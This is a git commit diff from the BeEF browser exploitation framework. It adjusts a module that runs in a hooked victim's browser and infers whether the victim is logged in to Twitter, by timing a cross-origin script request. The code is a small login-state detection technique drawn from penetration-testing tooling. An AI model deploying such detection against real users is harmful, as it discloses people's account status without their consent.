(Fixes issue 265) the detection for Twitter is a little better, but still slightly inconsistant on first run against ff

git-svn-id: https://beef.googlecode.com/svn/trunk@983 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
xntrik
2011-05-20 15:53:29 +00:00
parent dc36f53e04
commit b6c45fc7d9

View File

@@ -28,11 +28,12 @@ beef.execute(function() {
url: "https://twitter.com/account/use_phx?setting=false&format=text",
dataType: "script",
cache: "false",
error: function(one, two, three) {
twitterresult = "User is authenticated to Twitter";
},
success: function(one, two, three) {
twitterresult = "User is NOT authenticated to Twitter";
complete: function(one, two) {
if (two == "success") {
twitterresult = "User is NOT authenticated to Twitter (response:"+two+")";
} else if (two == "timeout") {
twitterresult = "User is authenticated to Twitter (response:"+two+")";
}
},
timeout: <%= @timeout %>
});